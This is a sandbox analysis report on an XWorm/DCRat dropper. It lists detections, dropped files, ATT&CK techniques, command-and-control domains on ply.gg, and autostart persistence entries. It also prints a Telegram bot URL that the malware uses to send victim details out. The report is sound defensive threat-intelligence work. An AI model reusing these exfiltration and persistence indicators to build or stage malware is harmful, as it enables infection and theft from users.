Source: Yara match	File source: 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mIURiU8n2P.exe PID: 2076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DeadXClient.exe PID: 5324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DeadROOTkit.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\DeadXClient.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DeadROOTkit.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Deadsvchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\DeadROOTkit.exe, type: DROPPED
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	12 Scheduled Task/Job	1 Access Token Manipulation	111 Deobfuscate/Decode Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	121 Registry Run Keys / Startup Folder	813 Process Injection	2 Obfuscated Files or Information	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Scheduled Task/Job	Login Hook	12 Scheduled Task/Job	1 Install Root Certificate	NTDS	661 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	121 Registry Run Keys / Startup Folder	3 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Rootkit	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	121 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	151 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	813 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Hidden Files and Directories	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mIURiU8n2P.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.IPCheckDCRat
mIURiU8n2P.exe	67%	Virustotal		Browse
mIURiU8n2P.exe	100%	Avira	TR/Dropper.Gen2
mIURiU8n2P.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\DeadROOTkit.exe	100%	Avira	TR/Spy.Gen
C:\Users\Public\DeadXClient.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\Public\DeadCodeRootKit.exe	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\Public\Deadsvchost.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\Public\DeadROOTkit.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\DeadROOTkit.exe	100%	Joe Sandbox ML
C:\Users\Public\DeadXClient.exe	100%	Joe Sandbox ML
C:\Users\Public\DeadCodeRootKit.exe	100%	Joe Sandbox ML
C:\Users\Public\Deadsvchost.exe	100%	Joe Sandbox ML
C:\Users\Public\DeadROOTkit.exe	100%	Joe Sandbox ML
C:\Users\Public\DeadCodeRootKit.exe	92%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba
C:\Users\Public\DeadCodeRootKit.exe	82%	Virustotal		Browse
C:\Users\Public\DeadROOTkit.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.XWorm
C:\Users\Public\DeadROOTkit.exe	64%	Virustotal		Browse
C:\Users\Public\DeadXClient.exe	96%	ReversingLabs	ByteCode-MSIL.Backdoor.XWorm
C:\Users\Public\DeadXClient.exe	71%	Virustotal		Browse
C:\Users\Public\Deadsvchost.exe	96%	ReversingLabs	ByteCode-MSIL.Backdoor.XWorm
C:\Users\Public\Deadsvchost.exe	71%	Virustotal		Browse
C:\Users\user\AppData\Local\DeadROOTkit.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.XWorm
C:\Users\user\AppData\Local\DeadROOTkit.exe	64%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
subscribe-bond.gl.at.ply.gg	8%	Virustotal	Browse
updates-full.gl.at.ply.gg	4%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/02/trust	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/09/policy	0%	Virustotal		Browse
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://api.telegram.org	1%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://schemas.xmlsoap.org/wsdl/erties	0%	Virustotal		Browse
http://schemas.xmlsoap.org/wsdl/soap12/	0%	Virustotal		Browse
https://api.telegram.org/bot	4%	Virustotal		Browse
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	0%	Virustotal		Browse
subscribe-bond.gl.at.ply.gg	8%	Virustotal		Browse
https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=	2%	Virustotal		Browse
http://docs.oasis-open.org/ws-sx/ws-trust/200512	0%	Virustotal		Browse
http://api.telegram.org	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
updates-full.gl.at.ply.gg	147.185.221.20	true	true	4%, Virustotal, Browse	unknown
subscribe-bond.gl.at.ply.gg	147.185.221.21	true	true	8%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V3.0%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A161EDF6F280165B1D298%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro	true		unknown
subscribe-bond.gl.at.ply.gg	true	8%, Virustotal, Browse	unknown
http://ip-api.com/line/?fields=hosting	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1899586399.0000011113902000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1899586399.0000011113AA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1839365843.000002DE90074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://api.telegram.org	DeadROOTkit.exe, 00000002.00000002.2956134718.000000000235B000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://api.telegram.org/bot	mIURiU8n2P.exe, 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.2956134718.000000000235B000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, DeadROOTkit.exe.2.dr	false	4%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.1786234964.000002DE80229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.1779642673.0000011104DE4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq	Microsoft-Windows-PushNotification-Platform%4Operational.evtx.25.dr	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	svchost.exe, 0000001A.00000002.2962138490.00000241A96E0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 0000000C.00000002.2949177193.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763357769.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V3.0%	DeadROOTkit.exe, 00000002.00000002.2956134718.000000000235B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.msoftP	svchost.exe, 00000016.00000002.3001209327.000001845BB84000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=	DeadROOTkit.exe, 00000002.00000002.2956134718.000000000235B000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.1786234964.000002DE80229000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1922708453.000001F081639000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1899586399.0000011113902000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1839365843.000002DE90074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2052291589.000001F091483000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	DeadROOTkit.exe, 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1779642673.0000011103891000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1786234964.000002DE80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1922708453.000001F081411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 0000000C.00000002.2949177193.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.1763357769.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 0000000C.00000000.1763228169.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.2948416778.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://api.telegram.org	DeadROOTkit.exe, 00000002.00000002.2956134718.000000000243F000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DeadXClient.exe, 00000001.00000002.2955878706.0000000002901000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1779642673.0000011103891000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1786234964.000002DE80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1922708453.000001F081411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
147.185.221.20	updates-full.gl.at.ply.gg	United States	12087	SALSGIVERUS	true
147.185.221.21	subscribe-bond.gl.at.ply.gg	United States	12087	SALSGIVERUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532627
Start date and time:	2024-10-13 19:14:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	28
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mIURiU8n2P.exe renamed because original name is a hash value
Original Sample Name:	bd00a7577088b67b52699f956275a3f563d623ca907feeeaee8d2f821d35de40.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@27/83@5/4
EGA Information:	Successful, ratio: 73.3%
HCA Information:	Successful, ratio: 99% Number of executed functions: 144 Number of non-executed functions: 284
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.190.152.21, 20.190.152.22, 40.126.24.82, 20.190.152.19, 40.126.24.147, 40.126.24.148, 40.126.24.146, 40.126.24.81
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target DeadXClient.exe, PID 5324 because it is empty
Execution Graph export aborted for target Deadsvchost.exe, PID 7452 because it is empty
Execution Graph export aborted for target mIURiU8n2P.exe, PID 2076 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7176 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:15:01	API Interceptor	54x Sleep call for process: powershell.exe modified
13:15:04	API Interceptor	44065x Sleep call for process: DeadXClient.exe modified
13:15:37	API Interceptor	364561x Sleep call for process: winlogon.exe modified
13:15:39	API Interceptor	275865x Sleep call for process: lsass.exe modified
13:15:40	API Interceptor	4199x Sleep call for process: svchost.exe modified
13:15:43	API Interceptor	328384x Sleep call for process: dwm.exe modified
13:15:47	API Interceptor	262x Sleep call for process: DeadROOTkit.exe modified
13:16:00	API Interceptor	154x Sleep call for process: spoolsv.exe modified
13:16:12	API Interceptor	43x Sleep call for process: dllhost.exe modified
18:15:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Deadsvchost C:\Users\Public\Deadsvchost.exe
18:15:06	Task Scheduler	Run new task: Deadsvchost path: C:\Users\Public\Deadsvchost.exe
18:15:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Deadsvchost C:\Users\Public\Deadsvchost.exe
18:15:21	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Deadsvchost.lnk
18:15:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run DeadROOTkit C:\Users\user\AppData\Local\DeadROOTkit.exe
18:15:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run DeadROOTkit C:\Users\user\AppData\Local\DeadROOTkit.exe
18:16:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeadROOTkit.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	80BvHOM51j.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	ip-api.com/json/?fields=225545
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	W1FREE.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	facturas vencidas, 650098, 0099, 00976, 009668, 009678, 0056598433.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Orden de Compra 097890.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	PO.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	4HyAcc2Dct.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
149.154.167.220	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse
	d3ca1c9cdcf0f664f4c4b469ce935febb6d974693647c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	_GG__F_ __S______S_S F_S__O_ ___SO_O_.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	80BvHOM51j.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	208.95.112.1
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	W1FREE.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	facturas vencidas, 650098, 0099, 00976, 009668, 009678, 0056598433.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Orden de Compra 097890.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PO.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	4HyAcc2Dct.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
api.telegram.org	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	149.154.167.220
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	149.154.167.220
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	d3ca1c9cdcf0f664f4c4b469ce935febb6d974693647c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	_GG__F_ __S______S_S F_S__O_ ___SO_O_.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SALSGIVERUS	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	147.185.221.23
	7yJsmmW4wS.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	I8YtUAUWeS.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	W1FREE.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	dHp58IIEYz.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	Lr87y2w72r.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
	7LwVrYH7sy.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
	432mtXKD3l.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	5q4X9fRo4b.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	147.185.221.17
TELEGRAMRU	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	149.154.167.220
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	149.154.167.220
	1728716649a09efaf02e58304d0d9f63a90bc410d1231b676f0024be47cb0cc1f511df7bca961.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://minerva.maine.edu/iii/cas/logout?service=https://www.google.com.sg/url?q=amp/s/couriertrip.com/dist/?#?m=bWFnZHkuZ2lyZ2lzQGNkY3IuY2EuZ292	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
